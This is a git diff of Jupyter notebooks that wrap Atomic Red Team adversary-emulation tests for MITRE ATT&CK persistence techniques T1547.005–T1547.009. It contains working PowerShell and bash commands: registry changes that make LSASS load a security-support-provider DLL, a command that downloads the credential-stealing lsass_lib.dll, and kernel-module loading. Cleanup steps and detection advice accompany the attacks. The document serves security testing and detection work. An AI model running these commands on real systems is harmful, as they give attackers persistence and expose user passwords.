"name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.005.ipynb b/playbook/tactics/persistence/T1547.005.ipynb index 9acfe58a..ba1047a8 100644 --- a/playbook/tactics/persistence/T1547.005.ipynb +++ b/playbook/tactics/persistence/T1547.005.ipynb @@ -2,40 +2,89 @@ "cells": [ { "cell_type": "markdown", - "id": "ccee6f8c", + "id": "9741d4be", "metadata": {}, "source": "# T1547.005 - Security Support Provider\nAdversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)" }, { "cell_type": "markdown", - "id": "f790e6e1", + "id": "8e0f0f54", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2e08018e", + "id": "2a8467e9", "metadata": {}, "source": [ - "### Atomic Test #1 - Modify SSP configuration in registry", - "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.", + "### Atomic Test #1 - Modify HKLM:\\System\\CurrentControlSet\\Control\\Lsa Security Support Provider configuration in registry", + "Add a value to a Windows registry Security Support Provider pointing to a payload .dll which will normally need to be copied in the system32 folder.\nA common DLL used with this techquite is the minilib.dll from mimikatz, see https://pentestlab.blog/2019/10/21/persistence-security-support-provider/\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# run these in sequence\n$SecurityPackages = Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'\n$SecurityPackagesUpdated = $SecurityPackages\n$SecurityPackagesUpdated += \"not-a-ssp\"\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated\n\n# revert (before reboot)\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackages\n```" + "```powershell\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $newvalue\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "57bba535", + "id": "f131a0f0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "454a0c0a", + "id": "2b8817b7", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');\nSet-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\" -Name 'Security Packages old';```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2f4085b0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.005 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0d68c2a3", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Modify HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig Security Support Provider configuration in registry", + "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' -Value $newvalue\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a78ff14b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.005 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "4685ab8f", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$oldvalue = $(Get-ItemPropertyValue -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old' | Select-Object -ExpandProperty 'Security Packages old');\nSet-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' -Value \"$oldvalue\";\nRemove-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old';```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a41bf656", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.005 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "687ac09c", "metadata": {}, "source": "## Detection\nMonitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)" } @@ -43,13 +92,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.006.ipynb b/playbook/tactics/persistence/T1547.006.ipynb index 5aae5329..10902a2e 100644 --- a/playbook/tactics/persistence/T1547.006.ipynb +++ b/playbook/tactics/persistence/T1547.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "b38f0a58", + "id": "47e36698", "metadata": {}, "source": "# T1547.006 - Kernel Modules and Extensions\nAdversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)" }, { "cell_type": "markdown", - "id": "77d5b367", + "id": "a61ca098", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "dc621031", + "id": "ea6e62df", "metadata": {}, "source": "### Atomic Test #1 - Linux - Load Kernel Module via insmod\nThis test uses the insmod command to load a kernel module for Linux.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location\n\n##### Check Prereq Commands:\n```bash\nif [ -f /tmp/T1547.006/T1547006.ko ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```bash\nif [ ! -d /tmp/T1547.006 ]; then mkdir /tmp/T1547.006; touch /tmp/T1547.006/safe_to_delete; fi;\ncp PathToAtomicsFolder/T1547.006/src/* /tmp/T1547.006/\ncd /tmp/T1547.006; make\nif [ ! -f /tmp/T1547.006/T1547006.ko ]; then mv /tmp/T1547.006/T1547006.ko /tmp/T1547.006/T1547006.ko; fi;\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c510af8d", + "id": "02fb04a2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "450d2dde", + "id": "4dad49ca", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "9e5ac292", + "id": "fe5c24e3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f5fae137", + "id": "a34b0381", "metadata": {}, "source": "#### Cleanup: \n```bash\nsudo rmmod T1547006\n[ -f /tmp/T1547.006/safe_to_delete ] && rm -rf /tmp/T1547.006\n```" }, { "cell_type": "code", "execution_count": null, - "id": "56091945", + "id": "4efc75f5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a0270416", + "id": "e65a51de", "metadata": {}, "source": "### Atomic Test #2 - MacOS - Load Kernel Module via kextload and kmutil\nThis test uses the kextload and kmutil commands to load and unload a MacOS kernel module.\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location\n\n##### Check Prereq Commands:\n```bash\nif [ -d /Library/Extensions/SoftRAID.kext ] ; then exit 0; else exit 1 ; fi\n\n```\n##### Get Prereq Commands:\n```bash\nexit 1\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0d5aa3ef", + "id": "69d40468", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fa321dcc", + "id": "3c316c1c", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -83,28 +83,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ec7ab05e", + "id": "97553711", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "c6633bdb", + "id": "21ec2f49", "metadata": {}, "source": "### Atomic Test #3 - MacOS - Load Kernel Module via KextManagerLoadKextWithURL()\nThis test uses the IOKit API to load a kernel module for macOS.\nHarcoded to use SoftRAID kext\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: The kernel module must exist on disk at specified location\n\n##### Check Prereq Commands:\n```bash\nif [ -f \"/tmp/T1547006_iokit_loader\" ]; then exit 0 ; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\ncc -o /tmp/T1547006_iokit_loader PathToAtomicsFolder/T1547.006/src/macos_kextload.c -framework IOKit -framework Foundation\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d6d2d765", + "id": "9ba71abf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "62cf2f68", + "id": "38360794", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -114,28 +114,63 @@ { "cell_type": "code", "execution_count": null, - "id": "e36eeeb0", + "id": "f270aeee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "59c63060", + "id": "a5f0ed41", "metadata": {}, "source": "#### Cleanup: \n```bash\nrm -f /tmp/T1547006_iokit_loader\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ed5ee194", + "id": "b6ac67fa", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.006 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "bb07ad82", + "id": "543a0461", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Snake Malware Kernel Driver Comadmin", + "The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a\nsingle AES encrypted file on disk. Typically, this file is named \u201ccomadmin.dat\u201d and is stored in the %windows%\\system32\\Com directory. \nThis Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$examplePath = Join-Path $env:windir \"system32\\Com\"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = \"comadmin.dat\"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6ffb7580", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.006 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "86e31634", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$examplePath = Join-Path $env:windir \"system32\\Com\"; $exampleName = \"comadmin.dat\"; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f1f60f84", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1547.006 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3d28f091", "metadata": {}, "source": "## Detection\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nOn macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n" } @@ -143,13 +178,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.007.ipynb b/playbook/tactics/persistence/T1547.007.ipynb index a4616e32..0f3667ff 100644 --- a/playbook/tactics/persistence/T1547.007.ipynb +++ b/playbook/tactics/persistence/T1547.007.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "818c45b3", + "id": "d0448a6d", "metadata": {}, "source": "# T1547.007 - Re-opened Applications\nAdversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in." }, { "cell_type": "markdown", - "id": "909c1941", + "id": "0b20080a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cca5aa24", + "id": "56b60a25", "metadata": {}, "source": [ "### Atomic Test #1 - Copy in loginwindow.plist for Re-Opened Applications", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "e58993c3", + "id": "73191e12", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d8ff2987", + "id": "07bd5039", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "94adca89", + "id": "a92e3648", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a70ac09c", + "id": "5a8a8983", "metadata": {}, "source": [ "### Atomic Test #2 - Re-Opened Applications using LoginHook", @@ -62,42 +62,42 @@ { "cell_type": "code", "execution_count": null, - "id": "1e148809", + "id": "7fe0aea6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "73001182", + "id": "bc7a131b", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo defaults delete com.apple.loginwindow LoginHook\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a9e4c763", + "id": "de54f7df", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "77df7ce8", + "id": "3c807cf1", "metadata": {}, "source": "### Atomic Test #3 - Append to existing loginwindow for Re-Opened Applications\nAppends an entry to launch Calculator hidden loginwindow.*.plist for next login.\nNote that the change may not result in the added Calculator program launching on next user login.\nIt may depend on which version of macOS you are running on.\n\n**Supported Platforms:** macos\n#### Dependencies: Run with `bash`!\n##### Description: compile C program\n\n##### Check Prereq Commands:\n```sh\nif [ -f \"/tmp/t1547007_append_exe\" ]; then exit 0 ; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\ncc PathToAtomicsFolder/T1547.007/src/append_reopen_loginwindow.m -o /tmp/t1547007_append_exe -framework Cocoa\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "93100699", + "id": "42720793", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "92c11f0a", + "id": "797aae0d", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -107,28 +107,28 @@ { "cell_type": "code", "execution_count": null, - "id": "31e7cd11", + "id": "f5f842cb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "f8c17283", + "id": "c64e6b5e", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -f /tmp/t1547007_append_exe\n# revert to backup copy\nFILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then\n exit 0\nfi\nmv /tmp/t1547007_loginwindow-backup.plist ${FILE}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e49bb7cc", + "id": "9fc2991e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.007 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "44c7db1a", + "id": "f62b53a6", "metadata": {}, "source": "## Detection\nMonitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened." } @@ -136,13 +136,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.008.ipynb b/playbook/tactics/persistence/T1547.008.ipynb index c68a504e..f50aa7d0 100644 --- a/playbook/tactics/persistence/T1547.008.ipynb +++ b/playbook/tactics/persistence/T1547.008.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "4d8491d6", + "id": "d7ee22dd", "metadata": {}, "source": "# T1547.008 - LSASS Driver\nAdversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads." }, { "cell_type": "markdown", - "id": "5514fde6", + "id": "fe696c9e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b9a38b7a", + "id": "8b12577c", "metadata": {}, - "source": "### Atomic Test #1 - Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt\nThe following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\lsass_lib.dll) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"$env:TEMP\\lsass_lib.dll\"\n\n```" + "source": "### Atomic Test #1 - Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt\nThe following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: lsass_lib.dll must exist on disk at specified location (#{dll_path})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\lsass_lib.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\lsass_lib.dll\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "867121b0", + "id": "70533b99", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.008 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ae12f9d0", + "id": "1605dfc4", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nNew-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"$env:TEMP\\lsass_lib.dll\"\n```" + "```powershell\nNew-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"PathToAtomicsFolder\\..\\ExternalPayloads\\lsass_lib.dll\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2648f382", + "id": "ff9a36d5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.008 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "94b80baf", + "id": "edd8a9d3", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS\" -Name \"LsaDbExtPt\" -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "85da5bb8", + "id": "8ca0a66a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.008 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "020b60d8", + "id": "13a99162", "metadata": {}, "source": "## Detection\nWith LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. " } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1547.009.ipynb b/playbook/tactics/persistence/T1547.009.ipynb index 8960f46d..7eb5b922 100644 --- a/playbook/tactics/persistence/T1547.009.ipynb +++ b/playbook/tactics/persistence/T1547.009.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "74c9d644", + "id": "a60d45a1", "metadata": {}, "source": "# T1547.009 - Shortcut Modification\nAdversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program.\n\nShortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware." }, { "cell_type": "markdown", - "id": "178d60cb", + "id": "a188ccb4", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6761c1e0", + "id": "eb0122fa", "metadata": {}, "source": [ "### Atomic Test #1 - Shortcut Modification", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "bd73831b", + "id": "fc20cde6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1547.009 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "b690fbbd", + "id": "61587a91", "metadata": 